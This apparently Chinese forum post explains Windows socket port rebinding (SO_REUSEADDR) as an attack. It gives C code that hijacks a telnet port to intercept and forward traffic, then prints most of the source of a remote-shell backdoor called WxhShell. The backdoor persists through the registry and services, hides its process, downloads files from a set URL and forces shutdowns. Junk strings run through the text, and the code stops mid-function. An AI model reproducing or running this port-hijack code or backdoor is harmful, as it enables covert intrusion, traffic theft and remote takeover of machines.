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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Im* ~6[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z<,$XvL
!=w&=O0( saddr.sin_family = AF_INET; *tD`X(K (T]< saddr.sin_addr.s_addr = htonl(INADDR_ANY); LAT%k2%Wx 3?rYt:Uf! bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8w|-7$ v 8^FAeV# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F3L'f2yBG #& 5} 这意味着什么?意味着可以进行如下的攻击: M((]> *g }#h >*+Q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q5:8$
C}+ :J{| /"== 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H^<LnYZ 609_ZW;) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rL=_z^.P |d B`URP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 c>(`X@KL _ Db05:r@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =oPc\VYW IV5B5Q'D 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=]auP{AlE |dxcEjcY_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A&:i$`m, 7kZ-`V|\. #include s^n}m#T #include k]<E1 c/ #include .9Y,N&V<H #include M#PutrH DWORD WINAPI ClientThread(LPVOID lpParam); |Qe#[Q7 int main() V#Px { q|23l1PI WORD wVersionRequested; 1JIo,7 DWORD ret; Z.]=u(=a WSADATA wsaData; WE hDep: BOOL val; wCwJ#-z.= SOCKADDR_IN saddr; C25r3bj SOCKADDR_IN scaddr; { eU_ int err; B)bq@jM SOCKET s; W=9Zl(2C SOCKET sc; ]^j'2nJv0 int caddsize; \ tK{!v+ HANDLE mt; V*bX>D/ DWORD tid; Hik :Sqpox wVersionRequested = MAKEWORD( 2, 2 ); 7 q%|-`# err = WSAStartup( wVersionRequested, &wsaData ); bJz}\[z if ( err != 0 ) { keBf^NY printf("error!WSAStartup failed!\n"); A* =r~T5B return -1; Y8Bc
&q} } hLZ<h7: saddr.sin_family = AF_INET; opKk#40 (np %urx! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EAg Nu?L SREe,
e\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nlfu y[oX saddr.sin_port = htons(23); U60jkzIRH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6^oQ8unmS { n]N+ printf("error!socket failed!\n"); ;0R>D g return -1; krw_1Mm } c:R`]4o val = TRUE; !2R<T/9~ //SO_REUSEADDR选项就是可以实现端口重绑定的 Y~</vz+H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y$]gmg { 4a&*?=GG printf("error!setsockopt failed!\n"); "0nT:!BZ return -1; bvuoo/ } @Y~R*^n"} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yJheni //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fn1G^a= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `o.DuvQ
E \1AtBc& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) epWO}@
b a { x*EzX4$x ret=GetLastError(); _msV3JBr printf("error!bind failed!\n"); >|"mhNF return -1; _m
*8f\ } >~g(acH%`x listen(s,2); ?3{R'Buv] while(1) l O)0p2 { ZwV`} 2{ caddsize = sizeof(scaddr); q]-CTx$ //接受连接请求 j#C1+Us sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b&y"[1` if(sc!=INVALID_SOCKET) DRBRs-D { +0,{gDd+
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u]B15mT? if(mt==NULL) Tk^J#};N { 5i+0GN3nd printf("Thread Creat Failed!\n"); \uumNpB*n break; f?ImQYqP
} nZfU:N } =
}&@XRLJ CloseHandle(mt); ]y4(WG;: } 3c"$@W:> closesocket(s); g=*`6@_= WSACleanup(); _::q
S! return 0; rc*iL } 1|?8g2Vf DWORD WINAPI ClientThread(LPVOID lpParam) h "7:&=e { PJ=N.xf} SOCKET ss = (SOCKET)lpParam; N(%%bHi#V SOCKET sc; ii.L]#3y unsigned char buf[4096]; bN,>,hj SOCKADDR_IN saddr; aAlES< r long num; LIo3a38n?y DWORD val; hdw-ge m{? DWORD ret; (6aSDx
Sc //如果是隐藏端口应用的话,可以在此处加一些判断 CDy *8<-& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 /D]V3|@E saddr.sin_family = AF_INET; X" hoDg saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sG/mmZHYzr saddr.sin_port = htons(23); 9(9+h]h+3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .%.kEJh` { JJ50(h)U printf("error!socket failed!\n"); ]%{.zl! return -1; x2#5"/~4 } arCi$:-z@ val = 100; 8sDbvVh1F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 23lLoyN { x}g5 ret = GetLastError(); LDj'L~H return -1;
wknr^A } ')d&:K*M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NF}QQwG3 { $[L8UUHY<8 ret = GetLastError(); $`2rtF return -1; fZ9EE3 } yj^LX2x" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -xJ_5 { KtT.WHr(m printf("error!socket connect failed!\n"); <Rs#y: closesocket(sc); }~?B>vZS closesocket(ss); N=>6PLie return -1; &=1Ag}l57 } qk;vn}auD] while(1) -8L22t { x[mxp/
/P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I9! eL4e //如果是嗅探内容的话,可以再此处进行内容分析和记录 K3jPTAw=# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c+6/@y num = recv(ss,buf,4096,0); WjyuaAWY if(num>0) E%eTjvvxus send(sc,buf,num,0); dQ6n[$Q@N else if(num==0) m;=wQYFr{I break;
Wc}opp num = recv(sc,buf,4096,0); thoAEG80 if(num>0) ")/TbTVu send(ss,buf,num,0); hX-([o else if(num==0) vv2N;/;I break; y_^w| } _RLx;Tn)L closesocket(ss); HF9\SVR
B closesocket(sc); vybQ}dscn return 0 ; yIm@m[B;
} O/X;(qYd ? m$uqi |-WoR u ========================================================== dDuT,zP M18H1e@Al 下边附上一个代码,,WXhSHELL "(@W^qF}d zW`Zmt\T2 ========================================================== U($sH9, +3HukoR( #include "stdafx.h" -#=y .k{omr&Dy5 #include <stdio.h> |G2hm8
Y #include <string.h> xwjim7#_: #include <windows.h> 1E(~x;*) #include <winsock2.h> N30w^W& #include <winsvc.h> %+WIv+< #include <urlmon.h> 'Zq$W]i j3Ng] @N #pragma comment (lib, "Ws2_32.lib") #RE #pragma comment (lib, "urlmon.lib") V#j|_N1hm K3eYeXV #define MAX_USER 100 // 最大客户端连接数 w#?@ulr]d #define BUF_SOCK 200 // sock buffer 8q)wT0A~ #define KEY_BUFF 255 // 输入 buffer TY|5O!
< fI{ZElPp #define REBOOT 0 // 重启 u9WQ0. #define SHUTDOWN 1 // 关机 pNOVyyo>BW 2<dl23 #define DEF_PORT 5000 // 监听端口 kI|Vv90l FiTP-~
#define REG_LEN 16 // 注册表键长度 <O`yM2/pS #define SVC_LEN 80 // NT服务名长度 s\c*ibxM, <
q6z$c)K // 从dll定义API
b>N)H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8>:kv:MId typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 89I[Dg;"u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _$<Q$P6y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M`W%nvEDE O1/U3/2/d // wxhshell配置信息 s]=s2.= struct WSCFG { +O<0q"E int ws_port; // 监听端口 !B= Oc!e=K char ws_passstr[REG_LEN]; // 口令 ;WQ@dC int ws_autoins; // 安装标记, 1=yes 0=no "J0,SFu: char ws_regname[REG_LEN]; // 注册表键名 t@GPB]3[ char ws_svcname[REG_LEN]; // 服务名 A#s`!SNv char ws_svcdisp[SVC_LEN]; // 服务显示名 8\-Q(9q( char ws_svcdesc[SVC_LEN]; // 服务描述信息 IAr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HaP0;9q int ws_downexe; // 下载执行标记, 1=yes 0=no {HV$hU+_)Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" SZOcFmC? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P!?Je/Tz] 8S&Kf>D }; q!iMc L lP // default Wxhshell configuration ],*^wQ struct WSCFG wscfg={DEF_PORT, "K EB0U "xuhuanlingzhe", ;(). 1, f%LzWXA "Wxhshell", FHNK%Ko "Wxhshell", Oeo:V" "WxhShell Service", H].G%,2' "Wrsky Windows CmdShell Service", UcCkn7} "Please Input Your Password: ", Da)rzr|}>3 1, Zk+J= Cwq} " http://www.wrsky.com/wxhshell.exe", T-Od|T@[ "Wxhshell.exe" xl%!7?G|$> }; s5 2c`+ stnyJ9 // 消息定义模块 lO/<xSjNd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; By=/DVm)= char *msg_ws_prompt="\n\r? for help\n\r#>"; qyP|`Pm4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; zy(i]6 char *msg_ws_ext="\n\rExit."; 2 }QD> char *msg_ws_end="\n\rQuit."; 0y$aGAUm char *msg_ws_boot="\n\rReboot..."; b\zRwp char *msg_ws_poff="\n\rShutdown..."; >uN`q1?l' char *msg_ws_down="\n\rSave to "; \Vis Rd5ni2-nve char *msg_ws_err="\n\rErr!"; *_<P%J char *msg_ws_ok="\n\rOK!"; Lc>9[!+# ;!<WL@C~ char ExeFile[MAX_PATH]; Wt +,6Cq int nUser = 0; \Nc/W!r*9 HANDLE handles[MAX_USER]; -GkNA"2M[ int OsIsNt; ~L!*p0dS^ 7@g8nv(p SERVICE_STATUS serviceStatus; V/Hjd`n)`i SERVICE_STATUS_HANDLE hServiceStatusHandle; |]a=He; @Taj++ua // 函数声明 &z;;Bx0s int Install(void); Wxl^f?I`: int Uninstall(void); OE(H:^ZR int DownloadFile(char *sURL, SOCKET wsh); !FweXFl int Boot(int flag); Dc |!H{Yr void HideProc(void); ]KGLJ~hm> int GetOsVer(void); _W 41;OY int Wxhshell(SOCKET wsl); @%L4^ms void TalkWithClient(void *cs); daT[2M int CmdShell(SOCKET sock); kBY54pl int StartFromService(void); \H$Ps9Xh int StartWxhshell(LPSTR lpCmdLine); !dfc1 UjB **rA/*Oc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `"v5bk VOID WINAPI NTServiceHandler( DWORD fdwControl ); .BGM1ph}~ "|CzQ&e // 数据结构和表定义 qkC+9Sk SERVICE_TABLE_ENTRY DispatchTable[] = w]n20& { :.!]+#Me {wscfg.ws_svcname, NTServiceMain}, de{KfM`W; {NULL, NULL} 3 $;6pY }; yH>`Kbf T i<|5~tm // 自我安装 @psyO]D=j% int Install(void) }7CMXw
[ {
NLFSw char svExeFile[MAX_PATH]; E
3b`GRay HKEY key; 8~?3: IZ strcpy(svExeFile,ExeFile); yc5C`r +6 o.t$hv| // 如果是win9x系统,修改注册表设为自启动 wZVY h if(!OsIsNt) { P0J3ci}^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HlqvXt\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ktg{-Xl RegCloseKey(key); I0 a,mO;m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v8"plx=3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \P]w^ RegCloseKey(key); Ev;HV}G return 0; M:|Z3p K } H8~<;6W } J#B%
#X } TEl:;4 else { >TUs~ c6sGjZdR // 如果是NT以上系统,安装为系统服务 `_sc_Y|C! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pN/)$6= if (schSCManager!=0) Tl=cniy] { 0!F"s>(H SC_HANDLE schService = CreateService !%x8!;za ( 9Vz1*4Ln schSCManager, h)BRSs?v_D wscfg.ws_svcname, Q[^IX wscfg.ws_svcdisp, Dt)\q^bH) SERVICE_ALL_ACCESS, {dJC3/Rf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6>v`6 SERVICE_AUTO_START, Vu '/o[nF> SERVICE_ERROR_NORMAL, pv&:N,p svExeFile, 6\ /x NULL, @cdd~9w NULL, yiGq?WA7 NULL, naCPSsei NULL, ^,')1r, NULL 24"Trg\WK[ );
O[f* ! if (schService!=0) Q=J"#EFs { 8;;!2>N CloseServiceHandle(schService); n'=-bj` CloseServiceHandle(schSCManager); A_1cM#4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d_=@1JM> strcat(svExeFile,wscfg.ws_svcname); 8R Wfv}:X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GwxxW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ')t
:!#
RegCloseKey(key); #}L75 return 0; 6 ]W!>jDc } #k8bZ?*: } ![3#([>4> CloseServiceHandle(schSCManager); xRYL{+ } zQ9"i } $j:$
` $u_0"sUV return 1; !Uz{dFJf; } 3}=r.\]U :S}!i?n // 自我卸载 ~C=I{qzF+ int Uninstall(void) TSqfl/UI { .MkHB0
2N HKEY key; |t*(]U2O0 t
m?[0@<s if(!OsIsNt) { 9Y!N\-x` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /
pzdX%7 RegDeleteValue(key,wscfg.ws_regname); S-{[3$ RegCloseKey(key); cjt<&b* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \#.,@g RegDeleteValue(key,wscfg.ws_regname); 'HTr02riY RegCloseKey(key); <l]P
<N8^ return 0; py.lGywb_ } /%9D$\ } $E3-</ f } e*p7(b- else { zWpJ\/k~ r2}u\U4> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =; Gw=m( if (schSCManager!=0) 9Z]~c^UB { o&P}GcEIw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $&/JY if (schService!=0) n/#zx:d? { 3ny>5A!;2 if(DeleteService(schService)!=0) { z+I'N4*^ CloseServiceHandle(schService); G 'IqAKJ CloseServiceHandle(schSCManager); [G2@[CtY1 return 0; ~Q"3#4l } Bz<T{f CloseServiceHandle(schService); dfY(5Wc+f } GL$!JKWp CloseServiceHandle(schSCManager); c7Sa|9*dR } j78WPG } q`z/ S> !E!i`yF return 1; DhY.5 } b"n8~Vd I
Y%M5(&Q // 从指定url下载文件 n2&*5m&$ int DownloadFile(char *sURL, SOCKET wsh) v+uq { HE58A.Q& HRESULT hr; D ]Q,~Y&' char seps[]= "/"; xY9#ouF char *token; Fb=(FQ2Y? char *file; k#Qav1_ char myURL[MAX_PATH]; n&ZArJ char myFILE[MAX_PATH]; r(;oDdVc nVkx Q?2 strcpy(myURL,sURL); jGpSECs token=strtok(myURL,seps); /a.4atb0 while(token!=NULL) ?q a { 't:$Lx file=token; K
;\~otR^ token=strtok(NULL,seps); 2Ya)I k{ } MuXp*s3[ +v.uP [H GetCurrentDirectory(MAX_PATH,myFILE); {<&i4; strcat(myFILE, "\\"); @_s`@,= strcat(myFILE, file); Ie{98 send(wsh,myFILE,strlen(myFILE),0); Qt` hUyL send(wsh,"...",3,0); #HFB*> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `)V1GR2
ES if(hr==S_OK) -n&g**\w return 0; e$]` else K"u-nroHW return 1; HT&CbEa4' &
$E[l' } uQh dg4 MU6|>{ // 系统电源模块 4x7(50hp# int Boot(int flag) 6.
N?=R { ]<b$k HANDLE hToken; Uytq,3Gj6 TOKEN_PRIVILEGES tkp; sd4eJ X`#,*HkK if(OsIsNt) { oSVo~F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @>`+eg][?P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1o"/5T:S[ tkp.PrivilegeCount = 1; |vW(;j6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .{+KKa $@G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xz2U?)m;x if(flag==REBOOT) { 9V&}% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H$'|hUwds% return 0; U\aP } <Sds5 d else { +B(x:hzY9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {UqS q return 0; W0e+yIaR } $VEG1]/svp } _|<kKfd? else { l-s%3E3 if(flag==REBOOT) { PPoQNW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k=;>*:D% return 0; ;:<z hO } :QKxpHi else { t~5m[C[`w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +m?;,JGt return 0; y8} fj= } WgHl.
:R } m$N`Xj wq yw#)S return 1; `=m[(CLb } u#(&
R"6 6cR}Mm9Hx3 // win9x进程隐藏模块 xPBSJhla void HideProc(void) OAigq6[, { Zop3[- x)evjX=q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A8,9^cQ] if ( hKernel != NULL ) M)v\7a { ++ O
L&n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1.S7MSpTV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6 3TeTGp$ FreeLibrary(hKernel); Xjb 4dip } 8yW 8F26 wyzx9`5~d return; 2n]UNC } }YV,uJH[ E :gS*tsY // 获取操作系统版本 w+A:]SU int GetOsVer(void) Skb,cKU { 5L ]TV\\ OSVERSIONINFO winfo; 8CXZ7 p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fZQL!j4 GetVersionEx(&winfo); q/T(s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `
=ocr8c return 1; v[$-)vs*ag else C]@v60I
return 0; &[u>^VO8 } :LE0_ . lKVy{X3]* // 客户端句柄模块 j@chSk"K int Wxhshell(SOCKET wsl) R%gkRx[
{ I+JWDYk SOCKET wsh; E`E$ }iLs struct sockaddr_in client; bBx.snBK DWORD myID; b:%z<vo fPXMp%T! while(nUser<MAX_USER) @|I:A { R$>]7-N} int nSize=sizeof(client); @ P:b\WCI wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IE;Fu67wi if(wsh==INVALID_SOCKET) return 1; l>(w] )q.Z}_,)@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^O>G?a if(handles[nUser]==0) .&z/p3 1 closesocket(wsh); 4)]w"z0Pc else mT]+wi& nUser++; 8]SJ=c"}Xf } $? 'JePC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '*4>&V.yX Iw07P2 return 0; CMQlxX? } !WT Z=| x"N{5 // 关闭 socket g>k"R4 void CloseIt(SOCKET wsh) :ik$@5wp { [_$r- FA closesocket(wsh); :eK(9o nUser--; l ~bjNhk ExitThread(0); )7X+T'?% } CsJ38]=Mt 4Sj;38F
.1 // 客户端请求句柄 %:jVx void TalkWithClient(void *cs) 2X];zY { 2/*F}w/ #9R[%R7Nz SOCKET wsh=(SOCKET)cs; |_<'qh char pwd[SVC_LEN]; d3nx"=Cy0I char cmd[KEY_BUFF]; t=-t xnlr< char chr[1]; nqp:nw int i,j; /mdPYV #F>7@N:5 while (nUser < MAX_USER) { ^*6So3 }JP0q if(wscfg.ws_passstr) { S\\3?[!p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W^o*^v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t Ye+7s //ZeroMemory(pwd,KEY_BUFF); Z`FEB0$ i=0; '
91-\en0 while(i<SVC_LEN) { \>B$x@-wg t^8ii // 设置超时 Nu/D$m'PY fd_set FdRead; o+NPe36 struct timeval TimeOut; !b !C+ \v FD_ZERO(&FdRead); qcNu9Ih FD_SET(wsh,&FdRead); Ou26QoT9XI TimeOut.tv_sec=8; Gky
e TimeOut.tv_usec=0; EnM }H9A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9S<87sO if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FJ/>=2^B Z$UPLg3=;_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "7]YvZYu0 pwd =chr[0]; >DFpL$oP if(chr[0]==0xd || chr[0]==0xa) { n;Nr[hI pwd=0; *qX! break; p"xti+2, } o{W4@:Ib i++; R*"31&3le4 } Qkk3>{I +*W9*gl // 如果是非法用户,关闭 socket @&I7z, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |8QXjzH } 2H,^i, sIVVF#0}] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q140b;Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sckt gp8 DH@]d0N while(1) { O^Y}fo' =up!lg^M ZeroMemory(cmd,KEY_BUFF); 3`Ug]<m Y)Os]<N1 // 自动支持客户端 telnet标准 h20<X; j=0; }\iH ~T6 while(j<KEY_BUFF) { !=)R+g6b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $uPM.mPFE cmd[j]=chr[0]; g':/hlQ if(chr[0]==0xa || chr[0]==0xd) { (f-Mm0%[ cmd[j]=0; `:aml+ break; ^R g=*L } A:-M RhE9X j++; jfLkp>2E' } |D@/4B1P B-R& v8F // 下载文件 "k;j@ if(strstr(cmd,"http://")) { )}Vb+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0h3-;% if(DownloadFile(cmd,wsh)) tRUGgf` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?(t{VdZSzQ else _mEW]9Sp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H3}eFl=i2 } hJ)\Vo else { 7EfLd+ =6sA49~M switch(cmd[0]) { +i\ +bR q7z;b A // 帮助 .wdWs tQ case '?': { !nm[ZrSP send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I^u$H& break; !,SGKLs.m } Q;V*M // 安装 p{V_}:|=Q case 'i': { L~Hl?bK if(Install()) Gz_[|,i send(wsh,msg_ws_err,strlen(msg_ws_err),0); ym]12PAU5 else 5PcN$r"P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KTmduf7DL break; nfldj33* } 9=l6NNe)| // 卸载 i"B q*b@ case 'r': { 9s.x%m, if(Uninstall()) Mnv2tnU] send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}FK;@'I 6 else rnkq. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lI)RaiMr= break; pv}k=wqJ1 } t+H=%{z // 显示 wxhshell 所在路径 \{GBaMwG~ case 'p': { y8HwyU> char svExeFile[MAX_PATH]; K3; lst>4 strcpy(svExeFile,"\n\r"); rUz-\H(- strcat(svExeFile,ExeFile); doX8Tq send(wsh,svExeFile,strlen(svExeFile),0); FX
yyY-(O break; 2 &(w\#' } 8V08>M // 重启 8Qo~zO case 'b': { mY'c<>6t send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aFbIJm=! if(Boot(REBOOT)) pA%Sybw+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|'t>-de, else { en5sqKqh+ closesocket(wsh); q!qOy/}D ExitThread(0); Ir,3' G } -|FSdzvg break; cu@i;Hb@ } 4/Mi-ls_ // 关机 IAlX^6s* case 'd': { 1KI,/ H"SY send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~{xm(p if(Boot(SHUTDOWN)) Dp8`O4YC send(wsh,msg_ws_err,strlen(msg_ws_err),0); O'WBO" else { y8!#G-d5 closesocket(wsh); ~vGX(8N ExitThread(0); T'K6Q cu } $;V?xZm[ break; zxo"
+j4Ym } ]zt77'J // 获取shell C&1()U case 's': { }JWLm.e CmdShell(wsh); k0/S&e,* closesocket(wsh); "R!)"B== ExitThread(0); Uc[@] break; ?x\tE] } $oo`]R_ // 退出 K8R}2K-Y case 'x': { !Z}d^$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CI}zu;4| CloseIt(wsh); 4H]~ ]?F& break; Nr(t5TP^ } YWK|AT-4 // 离开 2X)n.%4g$; case 'q': { 2BGS$$pP send(wsh,msg_ws_end,strlen(msg_ws_end),0); rZi\ closesocket(wsh); rYP72< WSACleanup(); ;UnJrP-if exit(1); j}.,|7X break; M];?W } N}/|B} } #J):N } +%'!+r
l en?J#fz // 提示信息 c?/R=/H if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FD*)@4<o } [e6zCN^t } ;WqWD-C vUNmN2pRJ return; Nj^:8]D)0 } m8:9Uv *pP&$!bH% // shell模块句柄 3%0ShMFP@ int CmdShell(SOCKET sock) {~y,.[Ga { %RS~>pK1 STARTUPINFO si; <|kS`y ZeroMemory(&si,sizeof(si)); 7%0V ?+]P si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |l#<vw
wE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >2)`/B9f4 PROCESS_INFORMATION ProcessInfo; -V_iv/fmM char cmdline[]="cmd"; s-[v[w'E CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <=g{E- return 0; MJ..' $>TC } )zK6>-KWA CBrC
// 自身启动模式 1v
M'yr$ int StartFromService(void) 5X1z^( { u &qFE=5: typedef struct Al0ls { `Jv~.EF% DWORD ExitStatus; >[A7oH DWORD PebBaseAddress; )b7 ;w#%q DWORD AffinityMask; ^K]`ZQjKC DWORD BasePriority; ,'%wadOo ULONG UniqueProcessId; -KA Y ULONG InheritedFromUniqueProcessId; "pa2,-& } PROCESS_BASIC_INFORMATION; \}p!S$` oWP3Y. PROCNTQSIP NtQueryInformationProcess; ~B704i <{Pr(U*7} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7J6D wh{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Y7dE?!`7 ,jc')#]9B HANDLE hProcess; -
fx?@ PROCESS_BASIC_INFORMATION pbi; Gdu5
